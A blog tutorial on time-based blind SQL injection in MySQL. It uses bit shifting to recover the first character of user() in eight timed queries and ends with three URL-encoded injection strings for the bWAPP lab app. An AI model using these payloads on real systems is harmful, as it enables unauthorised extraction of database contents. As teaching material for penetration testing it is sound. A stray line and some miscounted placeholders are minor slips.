I was performing some penetration tests in 2011 – 2012 against various PHP applications integrated with MySQL databases which were vulnerable to Time Based Blind SQL Injection. Due to various constraints and limitations, exploitation was a little tricky and I was forced to investigate a method which allowed me to retrieve data with as little requests as possible.
I stumbled across this paper demonstrating SQL injection using Bit shifting techniques: https://www.exploit-db.com/papers/17073/
During a recent CTF exercise on Hack the Box (https://www.hackthebox.eu/) I found myself revisiting this method to exploit some tricky SQL injection.
This blog post will demonstrate how the ‘right shift’ Operator ( >> ) can be used to enumerate the Binary bits of a value returned from a SQL query.
Note: A full description of Bit Functions and Operators can be found at the following URL: https://dev.mysql.com/doc/refman/5.7/en/bit-functions.html
The right shift operator will shift the number of bits of a binary value 1 location to the right, as illustrated in the example below:
mysql> select ascii(b'01110010'); +--------------------+ | ascii(b'01110010') | +--------------------+ | 114 | +--------------------+ 1 row in set (0.00 sec) mysql> select ascii(b'01110010') >> 1; +-------------------------+ | ascii(b'01110010') >> 1 | +-------------------------+ | 57 | +-------------------------+ 1 row in set (0.00 sec)
This can be utilised to enumerate a character of a string when exploiting Blind SQL injection. This guarantees that the data can be enumerated by a maximum of 8 requests per character if it appears within the full ASCII table.
The data we wish to extract via this method is the first character returned for the query: select user()
First Bit:
We start by finding the value of the first bit:
????????
Two possibilities for this:
0 (Decimal value: 0) // TRUE condition
OR
1 (Decimal value: 1) // FALSE condition
mysql> select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | 0 | +--------------------------------------------------------------------------------------+ 1 row in set (2.35 sec)
The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the first bit being 0
0???????
Second Bit:
Now we need find the value of the second bit. As before, there are two possibilities for this:
00 (Decimal value: 0) // TRUE condition
OR
01 (Decimal value: 1) // FALSE condition
mysql> select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | false | +--------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the second bit being 1
01?????
Third Bit:
Now we need find the value of the third bit. As before, there are two possibilities for this:
010 (Decimal value: 2) // TRUE
OR
011 (Decimal value: 3) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | false | +--------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the third bit being 1
011?????
Fourth Bit:
Now we need find the value of the fourth bit. As before, there are two possibilities for this:
0110 (Decimal: 6) // TRUE
OR
0111 (Decimal: 7) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | false | +--------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the fourth bit being 1
0111????
Fifth Bit:
Now we need find the value of the fifth bit. As before, there are two possibilities for this:
01110 (Decimal: 14) /// TRUE
OR
01111 (Decimal: 15) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false'); +---------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') | +---------------------------------------------------------------------------------------+ | 0 | +---------------------------------------------------------------------------------------+ 1 row in set (2.46 sec)
The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the fifth bit being 0
01110???
Sixth Bit:
Now we need find the value of the sixth bit. As before, there are two possibilities for this:
011100 (Decimal: 28) // TRUE
OR
011101 (Decimal: 29) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false'); +---------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') | +---------------------------------------------------------------------------------------+ | 0 | +---------------------------------------------------------------------------------------+ 1 row in set (2.44 sec)
The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the sixth bit being 0
011100??
Seventh Bit:
Now we need find the value of the seventh bit. As before, there are two possibilities for this:
0111000 (Decimal: 56) // TRUE
OR
0111001 (Decimal: 57) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false'); +---------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') | +---------------------------------------------------------------------------------------+ | false | +---------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the seventh bit being 1
The fourth bit must be 1
0111001?
Eighth Bit:
Now we need find the value of the eighth and final bit. As before, there are two possibilities for this:
01110010 (Decimal: 114) // TRUE
OR
01110011 (Decimal: 115) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false'); +----------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') | +----------------------------------------------------------------------------------------+ | 0 | +----------------------------------------------------------------------------------------+ 1 row in set (2.33 sec)
The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the eight bit being 0
01110010
Now we can conclude that the binary value for the first character returned by the query: select user() is 01110010 resulting in a decimal value of 114. 114 being the ‘r’ character of the ASCII table.
mysql> select user(); +----------------+ | user() | +----------------+ | root@localhost | +----------------+ 1 row in set (0.00 sec)
In order to demonstrate this type of Blind SQL injection attack, I have demenstrated how to enumerate the first and last binary bit of the first character returned by ‘select user()’ on the bWAPP vulnerable application: (https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/)
- SQLi string returning a TRUE condition for the first bit:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23
- SQLi string returning a FALSE condition for the first bit:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23
- SQLi string returning a TRUE condition for the eight bit:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23